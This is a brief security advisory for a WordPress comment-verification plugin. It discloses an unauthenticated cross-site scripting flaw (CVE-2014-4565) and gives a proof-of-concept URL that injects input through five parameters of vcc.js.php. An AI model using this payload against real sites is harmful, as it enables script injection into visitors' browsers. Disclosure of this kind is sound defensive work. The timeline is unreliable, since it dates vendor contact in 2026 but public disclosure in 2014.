wp-plugin : verification-code-for-comments

Plugin Details
Plugin Name: wp-plugin : verification-code-for-comments
Effected Version : 2.1.0 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Identified by : anantshri
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://localhost/wp-content/plugins/verification-code-for-comments/vcc.js.php?vp=vp’>// &vs=vs’>// &l=l’>// &vu=vu’>// &vm=vm’>// &

 

Vulnerable Parameters : vp,vs,l,vu,vm


Disclosure Timeline
Vendor Contacted : 2026-01-15
Plugin Status : Updated on
Public Disclosure : June 12, 2014
CVE Number : CVE-2014-4565
Plugin Description :
[| Add an verification code when user posting a comment to keep robots away. You can use an image verification code or a math equation instead. Robots may post lots of spam comments into your database. You can add a verification code image or a math equation to avoid this. Features: * You can choose a verification code image or a math equation as you wish * You don't need to edit any source code of WP, you just need to active the plugin ]